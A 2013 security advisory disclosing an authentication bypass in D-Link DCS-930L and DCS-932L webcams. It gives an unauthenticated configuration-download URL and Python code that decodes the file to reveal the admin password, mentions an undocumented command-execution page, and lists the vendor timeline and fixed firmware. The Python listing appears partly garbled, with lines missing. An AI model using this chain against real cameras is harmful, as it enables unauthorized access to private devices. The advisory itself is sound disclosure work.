Unauthenticated remote access to D-Link DCS cameras
Title: Unauthenticated remote access to D-Link DCS cameras
Discovery date: 20/06/2012
Release date: 28/01/2013
Credits: Roberto Paleari (firstname.lastname@example.org, twitter: @rpaleari)
Class: Authentication bypass, Remote command execution
This security vulnerability affects the following products and firmware
* D-Link DCS-930L, firmware version 1.04
* D-Link DCS-932L, firmware version 1.02
Other products and firmware versions are probably also vulnerable, but they
were not checked.
D-Link DCS web cameras allow unauthenticated attackers to obtain the
configuration of the device remotely. A copy of the device configuration can be
obtained by accessing the following URL:
http://<device IP address>/frame/GetConfig
The obtained configuration file is obfuscated using a trivial obfuscation
scheme. Python code for the deobfuscation follows (sorry, the code is quite a
# 'data' holds the content of the obfuscated configuration file
r = 
for c in data:
c = ord(c)
c = (c + ord('y')) & 0xff
c = (c ^ ord('Z')) & 0xff
c = (c - ord('e')) & 0xff
tmp = None
i = len(r) - 1
while i >= 0:
if i == len(r) - 1:
x = r[i]
tmp = ((x & 7) << 5) & 0xff
if i == 0:
assert tmp is not None
x = r
x = (x >> 3) & 0xff
x = (x + tmp) & 0xff
r = x
c1 = r[i-1]
c2 = r[i]
c1 = c1 & 0x7
c2 = (c2 >> 3) & 0xff
c1 = (c1 << 5) & 0xff
c2 = (c2 + c1) & 0xff
r[i] = c2
i = i - 1
r = "".join([chr(x) for x in r])
s = ""
assert (len(r) % 2) == 0
for i in range(len(r)/2):
s += r[i+(len(r)/2)] + r[i]
The above procedure returns the deobfuscated ASCII version of the
configuration file. This file includes, among other things, also the web
password for the "admin" user.
As a side note, it is worth considering that, after exploiting this issue,
authenticated attackers can also leverage the undocumented /docmd.htm web page
to execute arbitrary commands on the affected devices.
This issue has been addressed by D-Link in the following firmware releases:
* DCS-930L V1.06B5 (August 15, 2012)
* DCS-932L V1.04B5 (August 15, 2012)
These updates are available through mydlink.com and have also been implemented
on DCS-942L and higher camera products.
* 20/06/2012 - Initial vendor contact.
* 11/07/2012 - The author provided D-Link with the details of the
* 12/07/2012 - D-Link confirmed the issue is a new security vulnerability.
* 26/01/2013 - D-Link confirmed the release of firmware versions that
address the vulnerability.
* 28/01/2013 - Public disclosure.
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